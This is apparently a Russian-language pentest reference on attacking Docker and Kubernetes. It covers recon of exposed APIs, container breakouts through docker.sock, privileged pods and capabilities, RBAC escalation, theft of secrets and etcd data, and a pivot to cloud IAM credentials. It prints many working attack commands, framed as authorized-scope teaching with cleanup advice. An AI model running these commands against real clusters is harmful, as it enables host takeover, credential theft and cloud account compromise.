← ZavetSec Library
ZavetSec // Container & Kubernetes Security

ATTACKING CONTAINERS & K8S

Углублённый справочник по пентесту контейнерной инфраструктуры: Docker, container runtime и Kubernetes. Полный путь от обнаружения открытого демона до побега из контейнера, захвата RBAC и компрометации кластера — включая managed-облака (EKS/AKS/GKE) и pivot в cloud-аккаунт. Каждая техника: суть, предусловие, как проверить, типичная команда, что увидит защита. Только авторизованный scope или своя лаба (kind, minikube, kube-goat).

ФОРМАТ: DEEP REFERENCE РАЗДЕЛОВ: 12 ФОКУС: DOCKER · K8S SCOPE: AUTHORIZED ONLY
// 00

Введение и модель контейнеров

Только авторизованный scope. Все техники ниже выполняются исключительно в рамках подписанного RoE/договора либо на собственной изолированной лабе. Полигоны под весь документ: Kubernetes Goat (сценарии по каждому вектору), kind/minikube (локальный кластер), CNCF security labs. В РФ несанкционированный доступ — ст. 272–274 УК.

Зачем отдельный документ

Контейнер — это не виртуалка, а процесс хоста с урезанным видом на систему. Изоляция держится на ядерных примитивах (namespaces, cgroups, capabilities, seccomp, LSM), и почти каждый побег — это ослабление одного из них в конфигурации. Kubernetes добавляет поверх ещё один слой: API-сервер, RBAC, service-account-токены и сетевую модель, где один доступный pod часто открывает путь к узлу, а узел — к кластеру и облаку. Классический инфра-пентест этот слой не покрывает.

Изоляция: на чём держится контейнер

Понимание примитивов — ключ ко всем побегам: ломается именно ослабленный примитив.

ПримитивЧто изолирует / ограничиваетОслабление = вектор
namespacesPID, NET, MNT, IPC, UTS, USER — отдельный «вид» на системуhostPID/hostNetwork/hostIPC возвращают вид хоста
cgroupsлимиты CPU/RAM/IOrelease_agent → выполнение на хосте (классич. побег)
capabilitiesдробление root на привилегииCAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_*
seccompфильтр системных вызововunconfined открывает опасные syscalls
LSM (AppArmor/SELinux)мандатный контроль доступапрофиль unconfined снимает ограничения
user namespaceмаппинг root контейнера в непривилег. на хостечасто выключен → root=root

Карта атаки на кластер

Типовой путь компрометации. Как и в AD — это граф, а не линия: входная точка может быть на любом уровне.

# Высокоуровневый поток
external    → открытый Docker API / kubelet / registry / dashboard
foothold    → RCE в приложении → шелл внутри pod'а
recon       → кто я: SA-токен, capabilities, mounts, env, доступ к API
breakout    → побег из контейнера на узел (mount/cap/sock/CVE)
cluster     → RBAC abuse → secrets → service accounts → etcd
lateral     → pod→pod, узел→узел, доступ к control plane
cloud       → node IAM / IMDS → pivot в облачный аккаунт

Первое, что делаешь внутри pod'а

Получив шелл в контейнере, сразу собираешь контекст: кто ты, что примонтировано, какие привилегии, виден ли API.

# Я в контейнере? базовые маркеры
cat /proc/1/cgroup; ls -la /.dockerenv 2>/dev/null
# namespaces и capabilities текущего процесса
cat /proc/self/status | grep -i cap
capsh --print 2>/dev/null

# Опасные монтирования (docker.sock, hostPath, /proc хоста)
mount | grep -iE 'docker.sock|/host|/proc|/var/run'
cat /proc/mounts

# Признаки Kubernetes и SA-токен
env | grep -i kube
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
Главный вопрос раздела. «Насколько этот контейнер близок к хосту?» Привилегированный pod, проброшенный docker.sock, hostPath: / или CAP_SYS_ADMIN превращают шелл в контейнере в шелл на узле почти мгновенно. Сначала ищешь именно это.
// 01

Recon: Docker и K8s наружу

Контейнерная инфраструктура часто торчит наружу незаметно: незащищённый Docker API, открытый kubelet, дашборд без аутентификации, публичный registry. Цель раздела — найти эти точки входа до того, как понадобится эксплойт.

Открытые порты и сервисыcore

ПортСервисЧем опасен
2375Docker API (без TLS)полный контроль демона = root на узле
2376Docker API (TLS)при слабой/отсутствующей верификации клиента
10250kubelet APIexec/logs на pod'ах узла
10255kubelet read-onlyутечка pod-спеков, env, токенов
6443 / 8443kube-apiserveranonymous-доступ → энумерация/действия
2379–2380etcdвся БД кластера, включая секреты
5000Docker registryобразы, секреты в слоях, push-poison

Незащищённый Docker APIelite

Открытый 2375 — это мгновенный root на узле: создаём контейнер с примонтированным хостом.

# Проверка доступности API
curl -s http://TARGET:2375/version
docker -H tcp://TARGET:2375 info

# Эскалация: контейнер с примонтированной ФС хоста
docker -H tcp://TARGET:2375 run -v /:/host -it alpine chroot /host sh
# дальше — обычный шелл на узле

kubelet и read-only портadv

Kubelet на 10250 позволяет выполнять команды в pod'ах узла; 10255 отдаёт спеки без аутентификации.

# Read-only порт: список pod'ов, env, иногда токены
curl -s http://TARGET:10255/pods | jq '.items[].metadata.name'

# kubelet 10250: список и exec (если auth отключён/слаб)
curl -sk https://TARGET:10250/pods
# exec в контейнер через kubelet
kubeletctl -i --server TARGET exec "id" -p POD -c CONTAINER -n NAMESPACE

Дашборды и метаданныеfind

ЦельПризнак
Kubernetes Dashboardоткрыт без auth → действия от имени его SA
cAdvisor / metrics4194 / metrics-эндпоинты — утечка структуры
Helm Tiller (legacy)44134 — деплой от имени cluster-admin
Облачные метаданные169.254.169.254 с узла → IAM узла (см. раздел 10)
Автоматизация рекона. kube-hunter прогоняет внешнюю/внутреннюю поверхность кластера и сам находит открытые kubelet, anonymous-API, метаданные. Запускай и снаружи (remote), и изнутри pod'а (pod-режим) — поверхности разные.
// 02

Docker: мисконфиги и доступ

До Kubernetes — сам Docker. Большинство «побегов» уровня хоста начинаются не с CVE, а с конфигурации: проброшенный сокет, привилегированный контейнер, опасные capabilities или монтирования.

Проброшенный docker.sockelite

Если /var/run/docker.sock примонтирован внутрь контейнера — это управление демоном хоста, то есть root на узле в один шаг.

# Сокет внутри контейнера?
ls -la /var/run/docker.sock

# Через сокет создаём контейнер с ФС хоста и выходим в chroot
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
  chroot /host sh

# Без docker-cli — напрямую по API через curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

Privileged-контейнерelite

--privileged снимает почти всю изоляцию: все capabilities, доступ к устройствам хоста, отключённые профили. Побег тривиален через монтирование дисков узла.

# Признаки privileged: много capabilities, доступ к /dev хоста
capsh --print | grep -i cap_sys_admin
ls /dev | head        # видны диски хоста (sda, nvme...)

# Монтируем диск узла и читаем/пишем его ФС
fdisk -l
mount /dev/sda1 /mnt && chroot /mnt sh   # шелл на хосте

Опасные capabilitiesadv

Даже без --privileged отдельные capabilities дают побег. Проверяй, что реально выдано контейнеру.

CapabilityЧто даёт
CAP_SYS_ADMINmount, cgroups → классический release_agent-побег
CAP_SYS_PTRACEинъекция в процессы хоста (при общем PID-ns)
CAP_SYS_MODULEзагрузка модуля ядра = полный контроль хоста
CAP_DAC_READ_SEARCHобход прав на чтение → чтение ФС хоста (shocker)
CAP_NET_RAWспуфинг/снифинг в сети контейнера

Опасные монтированияcore

Проброс хостовых путей внутрь — частый мисконфиг, дающий запись в чувствительные места узла.

МонтированиеЭксплуатация
-v /:/hostпрямой доступ ко всей ФС узла
/var/run/docker.sockуправление демоном (выше)
/proc хостазапись в core_pattern/sysrq → выполнение на хосте
/etc, /root/.sshподмена cron/authorized_keys
host /var/lib/kubeletчужие SA-токены и секреты pod'ов узла
Сначала инвентаризация, потом эксплойт. Перебор capabilities/монтирований/устройств — это рекон побега. Прежде чем тянуть CVE, проверь дешёвые пути: sock, privileged, host-mount. Они и быстрее, и тише.
// 03

Container breakout

Когда дешёвые пути (sock, privileged, host-mount) закрыты, побег строится на ослабленных примитивах ядра и известных уязвимостях runtime. Каждый приём требует конкретного предусловия — сначала проверяй его наличие.

cgroups release_agentelite

Классика: при CAP_SYS_ADMIN и возможности монтировать cgroup можно заставить ядро выполнить команду на хосте через release_agent.

# Предусловие: CAP_SYS_ADMIN + запись в cgroup
# Идея (схема, не для слепого копипаста):
#  1) смонтировать cgroup rdma, включить notify_on_release
#  2) прописать release_agent на скрипт во временной точке
#  3) положить полезную команду в скрипт, дёрнуть пустой cgroup
#  -> ядро выполнит скрипт в namespace хоста
# Автоматизировано в CDK / amicontained / deepce (см. раздел 11)

/proc хоста и core_patternadv

Если примонтирован /proc хоста (или доступен через общий ns), запись в core_pattern заставляет ядро запустить хендлер при креше — на хосте.

# Предусловие: доступ к /proc/sys/kernel/core_pattern хоста на запись
cat /proc/sys/kernel/core_pattern
# при наличии записи core_pattern направляется на |/путь/к/хендлеру,
# который выполняется ядром в контексте хоста при core dump

Runtime-уязвимостиfind

Побеги через баги самого runtime. Проверяй версии — многие закрыты, но в проде живут старые.

CVE / классСуть
CVE-2019-5736перезапись runc бинаря хоста при exec
CVE-2022-0492cgroups v1 release_agent без CAP (повышение)
CVE-2024-21626«leaky vessels»: утечка fd → побег через рабочую директорию
Dirty Pipe / COWядерные баги записи → запись в хостовые файлы

Общие namespacesadv

hostPID/hostNetwork/hostIPC возвращают контейнеру вид хоста — это путь к процессам, сети и памяти узла.

# hostPID: видны процессы хоста -> nsenter в init узла
ps -ef | head
nsenter --target 1 --mount --uts --ipc --net --pid -- sh   # при привилегиях

# hostNetwork: доступ к loopback-сервисам узла (kubelet, metadata)
curl -s http://127.0.0.1:10255/pods
Побег меняет уровень риска радикально. Выход из контейнера на узел в отчёте — это компрометация узла и, как правило, путь к кластеру. Подтверждай минимальным PoC (id на хосте, чтение маркер-файла), не разворачивай персистентность и не трогай чужие workload'ы без явного согласования в RoE.
// 04

Образы и registry

Образ — это и поверхность атаки, и кладезь секретов. Слои хранят историю сборки, registry часто доступен без аутентификации, а возможность push'а открывает supply-chain-вектор.

Секреты в слояхcore

Удалённый в финальном слое секрет остаётся в истории. Разбор слоёв вытаскивает ключи, токены, пароли сборки.

# История сборки часто содержит ARG/ENV с секретами
docker history --no-trunc IMAGE

# Разбор слоёв и поиск секретов
dive IMAGE                      # интерактивный обзор слоёв
docker save IMAGE -o img.tar && mkdir x && tar -xf img.tar -C x
grep -rEi 'api[_-]?key|secret|password|BEGIN .* PRIVATE KEY' x/

# Специализированные сканеры секретов по образу
trufflehog docker --image IMAGE

Открытый registryadv

Registry без auth отдаёт каталог образов и их содержимое; с правом push — позволяет подменить образ.

# Каталог образов
curl -s http://REG:5000/v2/_catalog | jq .
curl -s http://REG:5000/v2/IMAGE/tags/list

# Скачать манифест/слои для разбора
curl -s http://REG:5000/v2/IMAGE/manifests/latest \
  -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'

Уязвимости и мисконфиги образаfind

СканерЧто находит
TrivyCVE пакетов, секреты, мисконфиги Dockerfile/IaC
Grypeуязвимости по SBOM
Dockleнарушения best-practice (root-user, latest, etc.)
Syftгенерация SBOM (состав образа)
Push = supply chain. Право записи в registry — это не «мелочь конфигурации», а путь к компрометации всех, кто тянет образ. В отчёте это high/critical, демонстрируется фактом успешного push безвредного тега, без подмены продакшн-образов.
// 05

Kubernetes: архитектура и recon

Чтобы атаковать кластер, надо понимать его компоненты и где у них слабые места. Затем — определить свою позицию: какой у меня токен, что мне разрешено, виден ли API-сервер.

Компоненты и где что ломается

КомпонентРольСлабое место
kube-apiserverфронт всего кластераanonymous-доступ, слабый RBAC
etcdБД кластеранезашифрованные секреты, открытый порт
kubeletагент на узлеexec без auth, токены узла
controller/schedulerуправление состояниемпривилегированные SA
service accountsидентичность pod'овтокены, лишние права, automount

Кто я в кластереcore

Из pod'а с SA-токеном первым делом выясняем личность и разрешения.

# SA-токен монтируется автоматически (если не отключён)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API=https://kubernetes.default.svc

# Кто я (если есть kubectl)
kubectl auth whoami
# Что мне можно (ключевая команда рекона прав)
kubectl auth can-i --list

# Без kubectl — напрямую к API
curl -sk -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/$NS/pods

Anonymous и слабый доступadv

Иногда API-сервер пускает анонимов или выдаёт лишнее неаутентифицированным. Проверяй до получения токена.

# Anonymous-проба к API
curl -sk $API/api/v1/namespaces
curl -sk $API/version

# Что доступно анонимной роли
kubectl auth can-i --list --as=system:anonymous
kubectl auth can-i --list — твой главный рекон. Эта команда сразу показывает разрешения текущей личности. Дальше весь раздел RBAC строится вокруг поиска опасных глаголов (create/exec/impersonate) на чувствительных ресурсах.
// 06

RBAC: энумерация и эскалация

RBAC — это authz Kubernetes. Эскалация почти всегда сводится к одному из «опасных» разрешений, которое позволяет получить более привилегированную личность или выполнить код в привилегированном контексте.

Энумерация правcore

# Свои права
kubectl auth can-i --list

# Все роли/привязки (если разрешено читать RBAC)
kubectl get clusterroles,roles,clusterrolebindings,rolebindings -A

# Автоматический разбор: кто что может
# rbac-police / kubiscan / krane — находят опасные комбинации
kubiscan -rs    # risky subjects

Опасные разрешенияelite

Каждый из этих глаголов на нужном ресурсе — путь к эскалации до cluster-admin.

РазрешениеПочему опасно
create podsзапуск привилегированного pod'а → побег на узел
pods/execвыполнение в чужих pod'ах
get secretsчтение токенов/паролей всего namespace
impersonateдействия от имени другого пользователя/SA/группы
bind / escalateпривязать себе/SA более мощную роль
create token / TokenRequestвыпуск токена привилегированного SA
control над workload-контроллерамиdeployments/daemonsets → запуск кода на узлах

Типовые цепочки эскалацииadv

# 1) create pods -> привилегированный pod с hostPath: /
#    монтируем корень узла, читаем kubelet-токены/секреты соседей

# 2) get secrets -> токен привилегированного SA -> действуем им
kubectl get secret SA-TOKEN -o jsonpath='{.data.token}' | base64 -d

# 3) impersonate -> выполняем от имени cluster-admin
kubectl get secrets -A --as=system:serviceaccount:kube-system:PRIV-SA

# 4) bind/escalate -> привязываем cluster-admin своему SA
Не разворачивай лишнего. Демонстрация эскалации — это один привилегированный pod или один impersonate-запрос, подтверждающий доступ. Не плоди workload'ы, не меняй существующие RBAC-привязки без согласования и удаляй созданное (см. чек-лист в разделе 11).
// 07

Pod security и побеги

Pod Security в Kubernetes управляется через Pod Security Standards/Admission и securityContext. Побег из pod'а на узел — это эксплуатация ослабленного контекста: привилегии, host-namespaces, host-mount или забытый SA-токен.

Опасные поля securityContextcore

ПолеРиск
privileged: trueполный доступ к узлу (см. раздел 02)
hostPID / hostNetwork / hostIPCвид процессов/сети/памяти хоста
hostPath volumeмонтирование путей узла (особенно /)
allowPrivilegeEscalation: truesetuid-повышение внутри
capabilities.add: [SYS_ADMIN]cgroups-побег
runAsUser: 0 + нет usernsroot контейнера = root хоста

Привилегированный pod как оружиеelite

При праве create pods разворачиваем pod с доступом к узлу и выходим в его ФС. Это самый частый путь node-компрометации в кластере.

# Схема манифеста привилегированного pod'а (для авторизованной лабы)
# spec:
#   hostPID: true
#   containers:
#   - image: alpine
#     securityContext: { privileged: true }
#     volumeMounts: [{ name: host, mountPath: /host }]
#   volumes: [{ name: host, hostPath: { path: / } }]

# После запуска — chroot в ФС узла
kubectl exec -it priv-pod -- chroot /host sh

# Автоматизация: peirates умеет создавать такой pod из захваченного SA

Service-account-токены узлаadv

Получив узел, читаешь токены всех pod'ов, что на нём крутятся — каждый может иметь свои права в кластере.

# На узле токены лежат под kubelet
find /var/lib/kubelet/pods -name token 2>/dev/null
# каждый токен -> своя личность; прогоняем can-i по каждому
# ищем тот, у кого больше прав (привилегированный SA)
Pod Security Admission. Современные кластеры ограничивают такие pod'ы политикой (restricted/baseline). Невозможность создать привилегированный pod — это работающая защита; в отчёте фиксируй, какие политики отсутствуют или в режиме warn вместо enforce.
// 08

Lateral movement и секреты

После закрепления — горизонтальное движение: чтение секретов, переход между pod'ами и узлами, доступ к etcd и control plane. Цель — собрать достаточно идентичностей для контроля кластера.

Секреты кластераcore

# Секреты namespace / всех namespace (при правах)
kubectl get secrets -A
kubectl get secret NAME -o jsonpath='{.data}' | jq 'map_values(@base64d)'

# Секреты в env и configmaps — частая утечка
kubectl get pods -A -o yaml | grep -iE 'password|token|key'
kubectl get configmaps -A -o yaml | grep -iE 'password|token|key'

etcd напрямуюelite

etcd хранит всё, включая секреты (часто без шифрования at-rest). Прямой доступ = весь кластер.

# Если etcd доступен и есть клиентские сертификаты узла
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=ca.crt --cert=client.crt --key=client.key \
  get / --prefix --keys-only | head

# Чтение секрета напрямую из etcd
ETCDCTL_API=3 etcdctl get /registry/secrets/NS/NAME

Сеть и pod-to-podadv

Без NetworkPolicy pod'ы свободно ходят друг к другу — внутренние сервисы, БД, метаданные доступны изнутри.

ЦельПриём
Внутренние сервисыскан Cluster IP диапазона, DNS-перебор *.svc
Соседние pod'ыпрямое подключение при отсутствии NetworkPolicy
kube-dnsэнумерация сервисов через DNS
Узловые сервисыkubelet/metadata с hostNetwork pod'а
Дисциплина данных. Секреты кластера — чувствительные данные. Подтверждай доступ минимально (имя и факт расшифровки одного значения), не выгружай все секреты массово, не используй добытые креды для доступа к продакшн-данным вне scope. Любой доступ к etcd согласуется отдельно в RoE.
// 09

Supply chain и admission

Контроль над тем, что попадает в кластер: образы, их провенанс и admission-контроллеры, которые должны это фильтровать. Слабости здесь дают тихий и устойчивый доступ.

Admission-контроллерыadv

Admission (validating/mutating webhooks, OPA/Gatekeeper, Kyverno) решает, пускать ли объект. Обход или отсутствие политик открывает запуск опасных pod'ов.

СигналРиск
Нет admission-политиклюбой может создать privileged pod
Политика в режиме audit/warnпредупреждает, но пропускает
Mutating webhook с правамикомпрометация webhook = инъекция в любой pod
failurePolicy: Ignoreпадение webhook = обход контроля

Провенанс и подпись образовfind

Отсутствие проверки подписи позволяет подсунуть свой образ. Cosign/sigstore — стандарт, но часто не enforced.

# Проверка, требует ли кластер подписанные образы
# (policy: cosign verify в admission). Если нет — подмена возможна.
cosign verify --key cosign.pub REGISTRY/IMAGE:TAG

# SBOM и аттестации — есть ли вообще provenance
cosign download sbom REGISTRY/IMAGE:TAG

CI/CD как входelite

ВекторИдея
Креды деплоя в CIkubeconfig/SA-токен в переменных пайплайна
Саморазмещённые раннерывыполнение в кластере с лишними правами
Доступ к registry из CIpush-poison через скомпрометированный пайплайн
GitOps-репозиторийправка манифеста → авто-деплой в кластер
Связка с разделом 04. Supply chain замыкает образы (раздел 04) и admission: даже идеальный RBAC бессмысленен, если в кластер автоматически приезжает неподписанный образ из доступного на запись registry или GitOps-репозитория.
// 10

Managed K8s и cloud pivot

EKS, AKS, GKE добавляют слой облачной идентичности: у узлов и pod'ов есть IAM-роли. Компрометация узла часто превращается в доступ к облачному аккаунту — самый дорогой исход. Здесь контейнерный пентест смыкается с облачным (см. Cloud & Identity Reference).

Метаданные узлаelite

С узла (или pod'а с hostNetwork) доступен сервис метаданных — это креды IAM-роли узла.

# AWS IMDS (в лабе/своём аккаунте). IMDSv2 требует токен:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP / Azure — свои эндпоинты метаданных
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

Pod-identity и её злоупотреблениеadv

МеханизмРиск
IRSA (EKS)SA привязан к IAM-роли → токен pod'а = облачные права
Workload Identity (GKE)SA маппится в GCP service account
AAD Pod Identity / Workload (AKS)pod получает Entra-идентичность
Node IAM слишком широкаяузел может больше, чем нужно → pivot

Cloud pivotelite

# С добытыми кредами узла/pod'а — энумерация облачных прав
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name NODE-ROLE

# Дальше — как в облачном пентесте: privesc, доступ к ресурсам.
# Подробно — в ZavetSec Cloud & Identity Reference.
Граница scope. Pivot из кластера в облачный аккаунт пересекает границу систем. Убедись, что облачный аккаунт явно в scope RoE, прежде чем использовать добытые IAM-креды. Это частая точка, где технически возможное выходит за рамки разрешённого.
// 11

Инструментарий и методология

Сводный арсенал и порядок работы. Инструменты автоматизируют рекон и побеги, но решения принимаются по контексту: где я, насколько близок к узлу, что мне разрешено.

In-pod / breakoutcore

ИнструментРоль
peiratesпост-эксплуатация K8s из захваченного pod'а: токены, pod-побег, pivot
deepceэнумерация и автопобеги Docker-контейнера
CDKzero-dependency набор для эксплуатации контейнеров
amicontainedчто за рантайм, какие capabilities/seccomp активны
kubeletctlвзаимодействие с kubelet API (exec, pods)

Recon / auditadv

ИнструментНазначение
kube-hunterпоиск открытых поверхностей кластера (remote/pod)
kubiscan / rbac-policeанализ RBAC, поиск опасных субъектов
kube-benchпроверка по CIS Kubernetes Benchmark
Trivy / Grype / Dockleсканирование образов и мисконфигов
kubectl-who-canкто может выполнить конкретное действие
checkov / kubescapeстатанализ манифестов и политик

Методология по шагамcore

1. Scope     RoE, границы (узлы? облако? control plane?), окно, лимиты
2. Recon     открытые Docker API / kubelet / registry / dashboard / etcd
3. Foothold  шелл в pod'е (через приложение) либо доступ к API
4. Aware     кто я: SA-токен, can-i --list, caps, mounts, env
5. Breakout  дешёвые пути (sock/priv/host-mount) → затем cap/CVE
6. Cluster   RBAC abuse → secrets → привилегированные SA → etcd
7. Lateral   pod→pod, узел→узел, control plane
8. Cloud     node/pod IAM → IMDS → pivot (если в scope)
9. Report    PoC, влияние, ремедиация; cleanup всех созданных объектов

Чек-лист отчёта и cleanupfind

ПолеСодержание
Предусловиечто именно было ослаблено (cap, mount, RBAC-глагол, версия)
PoCминимальная команда/манифест, подтверждающие доступ
Влияниеузел / кластер / облако — до какого уровня доходит компрометация
РемедиацияPod Security Admission, RBAC least-privilege, политики, шифрование etcd, IMDSv2
Cleanupудалить созданные pod'ы/привязки/токены, зафиксировать каждое изменение
Дисциплина. Контейнерный пентест легко наследить: созданные pod'ы, RBAC-привязки, выпущенные токены меняют состояние кластера. Фиксируй каждое изменение и откатывай. Побег на узел, доступ к etcd, pivot в облако — только при явном разрешении в RoE. PoC — это подтверждение, а не эксплуатация в полную силу.